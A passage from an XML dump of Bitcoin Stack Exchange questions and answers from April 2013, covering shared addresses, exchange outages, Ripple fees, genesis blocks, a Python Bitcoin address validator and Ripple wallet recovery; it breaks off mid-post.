  <row Id="9766" PostTypeId="2" ParentId="9722" CreationDate="2013-04-14T18:18:17.557" Score="2" Body="&lt;p&gt;Coins sent to the shared address would appear in both wallets, but would then disappear from both of them when one of the persons spends them. As the network acknowledges and confirms that the coins have left that address, the wallet of the second person would be notified of this and decrease its value accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would only affect coins sent to that specific address; the other coins in the two wallets would remain unrelated.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-04-14T18:18:17.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9767" PostTypeId="1" CreationDate="2013-04-14T18:27:27.153" Score="7" ViewCount="1033" Body="&lt;p&gt;As per subject. It has been down for some days, apparently due to bank problems of the owner(s):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our Service is momentarily not available.&lt;br&gt;&#xA;   1. All funds (EUR, USD, PLN, GBP &amp;amp; Bitcoins) are safe.&lt;br&gt;&#xA;   2. All withdrawals will be gradually processed chronologically from another bank account.&lt;br&gt;&#xA;   3. The Polish authority closed our Bank account in Poland.&lt;br&gt;&#xA;   4. Our lawyers are working with high pressure on a solution.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We will back with Bitcoin-24 2.0 on when all declarations are&#xA;  finished.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All important Emails can be send to help@bitcoin-24.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Doesn anyone have more information?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-06-01T07:20:23.977" Title="What happened to bitcoin-24?" Tags="|exchanges|" AnswerCount="1" CommentCount="3" ClosedDate="2013-06-04T05:49:23.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="9768" PostTypeId="1" AcceptedAnswerId="9771" CreationDate="2013-04-14T19:09:12.127" Score="5" ViewCount="425" Body="&lt;p&gt;I learn that, whether involving the transaction fees, or in some other cases, ripples can be destroyed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I was charged a fee, does that mean that nobody got that fee as a corresponding increase of their holdings in XRPs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does it mean that there is no record of it anywhere except in my retina vision cells seeing 0.xxx less in my account and somebody else seeing more?&lt;/p&gt;&#xA;" OwnerUserId="4354" LastActivityDate="2018-02-07T17:19:45.320" Title="What does it mean that ripples are destroyed?" Tags="|ripple|ripple-transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9769" PostTypeId="1" CreationDate="2013-04-14T19:13:51.043" Score="0" ViewCount="1052" Body="&lt;p&gt;I want to write own GPU miner, but I can't find any simple solution (cgminer and RPC miner are big projects with many useless to me functions). I need the sources of only one GPU miner with long pooling, nothing more.&lt;/p&gt;&#xA;" OwnerUserId="4162" LastEditorUserId="5406" LastEditDate="2016-04-28T13:56:44.433" LastActivityDate="2016-04-28T13:56:44.433" Title="Simple GPU miner with long pooling C++" Tags="|gpu-mining|mining-software|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9770" PostTypeId="2" ParentId="9765" CreationDate="2013-04-14T19:15:57.783" Score="5" Body="&lt;p&gt;From the (unofficial) &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/overview&quot;&gt;MtGox API documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The minimum trade size to buy OR sell is 0.01 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-14T19:15:57.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9771" PostTypeId="2" ParentId="9768" CreationDate="2013-04-14T19:32:04.393" Score="3" Body="&lt;p&gt;Nobody gets that fee, as simple as that.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To protect the XRP Ledger from being disrupted by spam and denial-of-service attacks, each transaction must destroy a small amount of XRP. This transaction cost is designed to increase along with the load on the network, making it very expensive to deliberately or inadvertently overload the network.&lt;/p&gt;&#xA;&lt;p&gt;Every transaction must specify how much XRP to destroy to pay the transaction cost.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://ripple.com/build/transaction-cost/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ripple Developer Center&lt;/a&gt; for further details.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2018-02-07T17:19:45.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9772" PostTypeId="2" ParentId="9769" CreationDate="2013-04-14T20:58:02.547" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/pyminer&quot; rel=&quot;nofollow&quot;&gt;This is the simplest miner I know of:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pyminer&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is a 'getwork' CPU mining client for bitcoin.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is pure-python, and therefore very, very slow.  The purpose is to&#xA;  provide a reference implementation of a miner, for study.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This doesn't support long polling, but there's a spec for that &lt;a href=&quot;https://deepbit.net/longpolling.php&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://xkcd.com/541/&quot; rel=&quot;nofollow&quot;&gt;:)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-14T20:58:02.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9773" PostTypeId="1" CreationDate="2013-04-14T22:14:46.187" Score="15" ViewCount="5502" Body="&lt;p&gt;What is involved in creating a genesis block? What makes it different from the other blocks in the chain.&lt;/p&gt;&#xA;" OwnerUserId="4381" LastEditorUserId="61" LastEditDate="2013-04-14T22:43:20.443" LastActivityDate="2013-04-15T08:32:02.847" Title="How do you make a Genesis block?" Tags="|blockchain|block|genesis-block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9774" PostTypeId="2" ParentId="9773" CreationDate="2013-04-14T22:38:01.387" Score="15" Body="&lt;p&gt;There is only one (Bitcoin) chain, and the Genesis Block is the first block in that chain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This block was created by Satoshi Nakamoto as the first link in the blockchain. It is hard-coded into the refernce Bitcoin client. To create it, it was &quot;mined&quot; like every other block, except it was at the minimum difficulty level, and contained arbitrary data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following quote from The Financial Times is embedded in the block's binary data&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This serves to prove it was generated on or after January 3rd 2009, as well as a political statement regarding the global economy.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditDate="2013-04-15T08:32:02.847" LastActivityDate="2013-04-15T08:32:02.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9775" PostTypeId="2" ParentId="9773" CreationDate="2013-04-14T23:06:55.043" Score="6" Body="&lt;p&gt;The genesis block is really nothing more than a block that doesn't have a previous block. Creating a new genesis block only involves setting the &lt;code&gt;previous hash&lt;/code&gt; part of the block to all zeroes. Because it doesn't have a previous block, it's automatically the first block in the chain, and creating a new genesis block means that you create a new block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are actually four 'official' genesis blocks out there, one for the main Bitcoin chain, and there have been three 'test nets' so far. But there's nothing stopping you from creating your own genesis block (although it's pretty pointless).&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-14T23:06:55.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9776" PostTypeId="1" CreationDate="2013-04-14T23:40:29.077" Score="3" ViewCount="2384" Body="&lt;p&gt;Is there anywhere I can find detailed LTC historical trade data? BTC-E's API is not well documented and I can only find a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2602&quot;&gt;live tick&lt;/a&gt; API from them. I found historical data on &lt;a href=&quot;http://www.cryptocoincharts.info/period-charts.php?period=alltime&amp;amp;resolution=day&amp;amp;pair=ltc-btc&amp;amp;market=btc-e&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cryptocoin Charts&lt;/a&gt; but the data they output is not very detailed.&lt;/p&gt;&#xA;" OwnerUserId="4382" LastEditorUserId="5406" LastEditDate="2017-06-26T23:48:45.710" LastActivityDate="2017-11-11T00:45:00.683" Title="Litecoin Historical Trade Data" Tags="|litecoin|historical-trade-data|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9777" PostTypeId="2" ParentId="9127" CreationDate="2013-04-14T23:46:04.723" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&quot;As I thought, it doesn't work that way. It wants a full directory with the databases, an alone wallet.dat is not enough. – Lohoris yesterday&quot; Not at all... Wallet.dat is the only file that pywallet reads&lt;/li&gt;&#xA;&lt;li&gt;If you notice a bug, it's rather nice to report it to the dev instead of bashing him&lt;/li&gt;&#xA;&lt;li&gt;Same thing for new flags you might want: ask for them instead of complain about their absence&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.180&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=34028.180&lt;/a&gt;&#xA;I can also provide an email address if you don't have a bitcointalk account&lt;/p&gt;&#xA;" OwnerUserId="4384" LastActivityDate="2013-04-14T23:46:04.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9778" PostTypeId="2" ParentId="118" CreationDate="2013-04-14T23:53:12.733" Score="-2" Body="&lt;p&gt;If you are interested in how your profitability will change as the network hashrate grows this calculator is the best IMO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoininsight.com/2013/04/05/bitcoin-mining-profitability-calculator/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoininsight.com/2013/04/05/bitcoin-mining-profitability-calculator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you will have to make some guesses about how the network will grow, it should be more accurate than just a plain guess as to what the difficulty will be in X months time.&lt;/p&gt;&#xA;" OwnerUserId="4385" LastEditorUserId="2915" LastEditDate="2013-12-16T09:42:00.193" LastActivityDate="2013-12-16T09:42:00.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9779" PostTypeId="2" ParentId="9744" CreationDate="2013-04-15T00:58:29.443" Score="0" Body="&lt;p&gt;everybody else checks your proof of work to make sure you did it right, and that you're following their rules too - or they ignore you.&lt;/p&gt;&#xA;" OwnerUserId="4387" LastActivityDate="2013-04-15T00:58:29.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9780" PostTypeId="1" AcceptedAnswerId="9781" CreationDate="2013-04-15T01:06:32.930" Score="10" ViewCount="3632" Body="&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/business/2013/04/mining-bitcoins-takes-power-but-is-it-an-environmental-disaster/&quot; rel=&quot;noreferrer&quot;&gt;This article from ArsTechnica&lt;/a&gt; is claiming that Bitcoin is not &lt;em&gt;such an environmental disaster&lt;/em&gt;, and one of the reasons they mention is that &lt;strong&gt;mining will come to an end&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, fair enough, there is an end in mining because the number of bitcoins is fixed but, &lt;strong&gt;is there an end to the computation algorithms taking place when generating blocks&lt;/strong&gt;? My guess was that proof-of-work would still be needed at that time, therefore we would still need ASICs, GPUs or whatnot?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastEditorUserId="5406" LastEditDate="2016-03-09T15:23:06.250" LastActivityDate="2018-03-16T10:12:03.823" Title="Will the proof-of-work system end when all bitcoins have been mined?" Tags="|blockchain|mining-reward|proof-of-work|reward-schedule|blockspace-market|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9781" PostTypeId="2" ParentId="9780" CreationDate="2013-04-15T01:25:13.350" Score="10" Body="&lt;p&gt;No, mining will not come to an end at that point. The article is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining will continue once the block rewards are no longer available, as transaction fees will continue to be offered. As the block rewards tend towards zero, the total value of transaction fees in each block will start to exceed the block reward. This will happen long before the block reward reaches zero if Bitcoin continues to be grow at the current rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is required to provide the confirmation that each transaction is valid. If mining was to end, it would be because nobody was submitting transactions any more. This isn't anticipated any time soon!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/transaction-fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;This chart&lt;/a&gt; shows the value of transaction fees per day, in BTC. Currently, about 50BTC per day is paid in fees, which works out to be about 0.34BTC per block (50 divided by 144, which is the number of blocks per day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin remains at it's currently level of popularity, transaction fees will be larger than the block reward by the year 2040. By the year 2064, more than 99% of miner's rewards would come from transaction fees. After 2140, there will be no more block rewards given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1226/516&quot;&gt;The End of Mining&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/876/516&quot;&gt;How much will transaction fees eventually be?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-15T02:15:43.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9782" PostTypeId="1" AcceptedAnswerId="20442" CreationDate="2013-04-15T01:43:27.117" Score="5" ViewCount="720" Body="&lt;p&gt;I did not found anything in the site. They have an api? It is for my Android App Bitcoin Paranoid.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="4138" LastEditDate="2017-07-19T21:15:29.523" LastActivityDate="2017-07-19T21:15:29.523" Title="Is it possible to get ticker of bitcoin.de using an api?" Tags="|api|marketplace|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9783" PostTypeId="1" AcceptedAnswerId="9787" CreationDate="2013-04-15T01:53:20.760" Score="6" ViewCount="2087" Body="&lt;p&gt;Ok, I have my wallet name, passphrase and secret account key issued by 'the network'.&#xA;Now say that ripple.com is under DDOS attack or, for whatever reason closes for a month or even becomes inaccessible for even longer periods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is the procedure that I need to follow to re-establish my wallet elsewhere? How do I find those @elsewhere that I may go to, if ripple.com is down? How do those at elsewhere know that my wallet passphrase and secret key is for real, if say ripple.com hrad drives all burnt in accidental fire in the building and they have no more records of my wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so some distributed database has all the data about my wallet but what makes it itself secure, except maybe the sheer potential redundancy of entries, hopefully including one entry for my case.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastActivityDate="2013-04-15T03:29:09.957" Title="How exactly is my account/wallet at ripple.com secure?" Tags="|security|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9784" PostTypeId="1" AcceptedAnswerId="9785" CreationDate="2013-04-15T01:59:04.270" Score="3" ViewCount="752" Body="&lt;p&gt;I tried looking through the Satoshi Client to grab the necessary code. It ended up being too difficult for me as my expertise is not in C or C variants. And the fact that the code use boost made it that much more difficult. Is their a code snippet out there that does not rely on any external libraries except for maybe the SHA256 hash function?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="4274" LastEditDate="2013-04-16T09:18:38.610" LastActivityDate="2013-06-26T11:05:52.497" Title="Is there a self contained C/C++ code snippet out there to validate a Bitcoin public address?" Tags="|development|address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9785" PostTypeId="2" ParentId="9784" CreationDate="2013-04-15T02:15:43.117" Score="1" Body="&lt;p&gt;This isn't precisely what you asked for, but it should be a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1026.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1026.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re&#xA;import math&#xA;from Crypto.Hash import SHA256&#xA;&#xA;def validate_bitcoin_address(self, value):&#xA;  value = value.strip()&#xA;  if re.match(r&quot;[a-zA-Z1-9]{27,35}$&quot;, value) is None:&#xA;    raise ValueError(&quot;Contains illegal characters&quot;)&#xA;  version = get_bcaddress_version(value)&#xA;  if version != 0:&#xA;    raise ValueError(&quot;Not a standard bitcoin address&quot;)&#xA;  return value&#xA;&#xA;&#xA;__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'&#xA;__b58base = len(__b58chars)&#xA;&#xA;def b58encode(v):&#xA;  &quot;&quot;&quot; encode v, which is a string of bytes, to base58.                                                                                                               &#xA;  &quot;&quot;&quot;&#xA;&#xA;  long_value = 0L&#xA;  for (i, c) in enumerate(v[::-1]):&#xA;    long_value += (256**i) * ord(c)&#xA;&#xA;  result = ''&#xA;  while long_value &amp;gt;= __b58base:&#xA;    div, mod = divmod(long_value, __b58base)&#xA;    result = __b58chars[mod] + result&#xA;    long_value = div&#xA;  result = __b58chars[long_value] + result&#xA;&#xA;  # Bitcoin does a little leading-zero-compression:                                                                                                                  &#xA;  # leading 0-bytes in the input become leading-1s                                                                                                                   &#xA;  nPad = 0&#xA;  for c in v:&#xA;    if c == '\0': nPad += 1&#xA;    else: break&#xA;&#xA;  return (__b58chars[0]*nPad) + result&#xA;&#xA;def b58decode(v, length):&#xA;  &quot;&quot;&quot; decode v into a string of len bytes                                                                                                                            &#xA;  &quot;&quot;&quot;&#xA;  long_value = 0L&#xA;  for (i, c) in enumerate(v[::-1]):&#xA;    long_value += __b58chars.find(c) * (__b58base**i)&#xA;&#xA;  result = ''&#xA;  while long_value &amp;gt;= 256:&#xA;    div, mod = divmod(long_value, 256)&#xA;    result = chr(mod) + result&#xA;    long_value = div&#xA;  result = chr(long_value) + result&#xA;&#xA;  nPad = 0&#xA;  for c in v:&#xA;    if c == __b58chars[0]: nPad += 1&#xA;    else: break&#xA;&#xA;  result = chr(0)*nPad + result&#xA;  if length is not None and len(result) != length:&#xA;    return None&#xA;&#xA;  return result&#xA;&#xA;def get_bcaddress_version(strAddress):&#xA;  &quot;&quot;&quot; Returns None if strAddress is invalid.  Otherwise returns integer version of address. &quot;&quot;&quot;&#xA;  addr = b58decode(strAddress,25)&#xA;  if addr is None: return None&#xA;  version = addr[0]&#xA;  checksum = addr[-4:]&#xA;  vh160 = addr[:-4] # Version plus hash160 is what is checksummed                                                                                                    &#xA;  h3=SHA256.new(SHA256.new(vh160).digest()).digest()&#xA;  if h3[0:4] == checksum:&#xA;    return ord(version)&#xA;  else:&#xA;    raise ValueError(&quot;Bad checksum&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-04-15T02:33:29.323" LastActivityDate="2013-04-15T02:33:29.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9787" PostTypeId="2" ParentId="9783" CreationDate="2013-04-15T03:29:09.957" Score="9" Body="&lt;p&gt;Ripple.com only hosts the javascript client which talks to the Ripple network via websockets. Once Ripple is out of beta there will likely be different clients to choose from (smart phone apps; command line clients; desktop apps; etc). The existing javascript client is already open source and you can host it locally if you like (and have the technical know-how). Thus if Ripple.com becomes unreachable you have other client options. These options will only improve as Ripple grows and leaves beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Ripple wallet contains your secret key and your contacts in an encrypted form. Your balances and configured credit lines are stored in the ledger in the distributed ripple network. Currently there are only a dozen or so ripple servers all under the control of OpenCoin (in order to make it easy for them to make changes during the beta to the server code that would otherwise disrupt the network). As long as there are a sufficient majority of ripple servers intercommunicating you only need to be able to communicate with one of them (bitcoin is vaguely similar in that there is an intercommunicating network or bitcoind processes). Currently the webclient connects to &lt;code&gt;s1.ripple.com&lt;/code&gt; by default (look under &lt;code&gt;Advanced-&amp;gt;Options&lt;/code&gt;) presumably this could point to any ripple server, and perhaps once out of beta the clients will have a list of servers to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you created your wallet and when you login with the webclient there is a &quot;Fetch Wallet&quot; option (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7849/what-do-the-fetch-wallet-options-when-opening-a-ripple-wallet-mean&quot;&gt;What do the &amp;quot;Fetch Wallet&amp;quot; options when opening a Ripple wallet mean?&lt;/a&gt;) that controls where the wallet is stored. By default an encrypted version is stored &quot;in the cloud&quot; and locally by your browser. With the default options, if you run the webclient from the same machine+browser it can use just the local copy if the cloud storage is unavailable. If you move to a new machine or a different browser, the copy in the cloud needs to be accessible. You can also make a local backup of your wallet to a file, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9002/how-do-i-backup-my-ripple-wallet&quot;&gt;How do I backup my Ripple wallet?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for any reason there is no copy of your wallet available, all is not lost. Ripple lets you create a new wallet using your existing secret key (which is why they strongly recommend making a copy of the secret key). Since the wallet only holds your secret key and your contacts, all you will have lost is your contact names. The client would show your trust/credit lines and transaction history using just the ripple addresses of others. You'd just need to re-enter the contact names (perhaps recognizing your contacts by your current trust/credit limits and balances or perhaps needing to ask your contacts again for their addresses).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-04-15T03:29:09.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9788" PostTypeId="1" AcceptedAnswerId="10349" CreationDate="2013-04-15T03:44:00.893" Score="8" ViewCount="1425" Body="&lt;p&gt;Using the Armory client, is it possible to specify one of my existing &quot;receive&quot; addresses in my wallet as a &quot;change&quot; address when I create a spend transactions? (Instead of the Armory client creating a new &quot;change&quot; address)&lt;/p&gt;&#xA;" OwnerUserId="4391" LastEditorUserId="2306" LastEditDate="2013-04-15T04:17:26.727" LastActivityDate="2013-04-28T19:29:39.073" Title="Can I specify one of my existing &quot;receive&quot; address as a &quot;change&quot; address when I create a transaction when using the Bitcoin Armory client?" Tags="|client|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9789" PostTypeId="1" AcceptedAnswerId="9802" CreationDate="2013-04-15T04:06:11.750" Score="3" ViewCount="1228" Body="&lt;p&gt;I wanted to write an application that given a timestamp(text basically) and a public key will generate a merkle hash for the creation of a new genesis block. So I decided to first try and re-create the one from Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I am failing somewhere. This is my code &lt;a href=&quot;http://pastebin.com/sVmZgMt8&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/sVmZgMt8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I should be getting this result, which is available on the Genesis Block wiki article.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However while the text in hexadecimal form is there, there is another problem I am getting. This is the output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1d00ffff000104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first thing wrong is that the nBits are displayed in an endianness different than the one above, and skimming through the Bitcoin source code a lot I failed to see how and where it was swapped, as the only line is this one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txNew.vin[0].scriptSig = CScript() &amp;lt;&amp;lt; 486604799 &amp;lt;&amp;lt; CBigNum(4) &amp;lt;&amp;lt; vector&amp;lt;unsigned char&amp;gt;((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, there is an additional &lt;strong&gt;0x04&lt;/strong&gt; byte in the Coinbase of the Genesis Block that I am also failing to get, and nowhere did I see it being added OR what it represents.&lt;/p&gt;&#xA;" OwnerUserId="4352" LastEditorUserId="5406" LastEditDate="2015-01-12T22:46:15.617" LastActivityDate="2015-01-12T22:46:15.617" Title="How do I create the coinbase from the genesis block?" Tags="|transactions|coinbase-transaction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9790" PostTypeId="1" AcceptedAnswerId="9892" CreationDate="2013-04-15T04:43:16.320" Score="10" ViewCount="928" Body="&lt;p&gt;Imagine if a few miners who together control more than 50% of the network hash power decided to charge higher transaction fees just for addresses containing really large sums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this address here has 69,471.08443061 BTC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/1HQ3Go3ggs8pFnXuHVHRytPCq5fGG8Hbhx&quot;&gt;http://blockchain.info/address/1HQ3Go3ggs8pFnXuHVHRytPCq5fGG8Hbhx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the miners could decide to reject any transaction going out of that particular address (no matter how small the amount) unless it included a 25% transaction fee. You could call it extortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it &quot;illegal&quot; (see below) under the rules of Bitcoin?&lt;/li&gt;&#xA;&lt;li&gt;How would the rest of the network detect such a problem (given it involves only one particular address)?&lt;/li&gt;&#xA;&lt;li&gt;How would such a problem be resolved?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By &quot;illegal&quot; I don't mean the network would reject such behavior, because that it wouldn't, but that it would be rejected by most participants in the Bitcoin economy based on an &lt;em&gt;implied&lt;/em&gt; understanding of what's fair and what isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[UPDATE]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, let's say the mining cartel publishes their new policy on their website and word goes around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as an incentive to the rest of the participants in the economy, it is announced that part of the higher transactions fees will be distributed to everyone. This is achieved by setting up a single address (a la SatoshiDice) where you can send any amount and in return you'll receive the same amount plus the bonus. You can only do this once per address, because the program checks that the funds don't cross the same address twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could call this a wealth tax or a &quot;Robin Hood tax.&quot;&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="3228" LastEditDate="2013-04-17T13:09:14.337" LastActivityDate="2021-12-06T21:51:11.390" Title="Is it possible for the miners to collude to blackmail a single wealthy address?" Tags="|transactions|transaction-fees|governance|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9791" PostTypeId="1" CreationDate="2013-04-15T05:05:43.923" Score="-5" ViewCount="1227" Body="&lt;p&gt;My understanding is there are 100 billion pre-mined XRP coins all belonging to Open Coin who have a vague plan to distribute them at some point in time, fairly. Does anyone else see a problem with this or is there more to it than that? It seems to be far more centralized than any central bank we have at the moment. &lt;/p&gt;&#xA;" OwnerUserId="2349" LastActivityDate="2013-04-15T05:42:05.617" Title="Ripple initial distribution of XRP coins" Tags="|ripple|" AnswerCount="1" CommentCount="2" ClosedDate="2013-04-18T08:08:26.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="9792" PostTypeId="1" AcceptedAnswerId="9797" CreationDate="2013-04-15T05:17:44.983" Score="1" ViewCount="176" Body="&lt;p&gt;Please take the title with a grain of salt. I couldn't make it short and also implying all that I am about to ask here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider Yen devaluation. Forex traders constantly buy USD and sell JPY, or vice versa, based on news and events in politics and economy, or anticipation of the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devaluation of Yen affects exporters and importers and, while it will have an effect on Japanese consumer, eventually, it is not that people in Japan today buy a sushi for 100 Yen and tomorrow for 102.1 yen, based on movements in USDJPY on Forex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what is an online store, that quotes goods both in Bitcoin and, say Ripple (but insert any alternative crypto currency here), to do in this situation? It has to have a fast and reliable access to some exchange current bid and ask and constantly update the prices of goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What 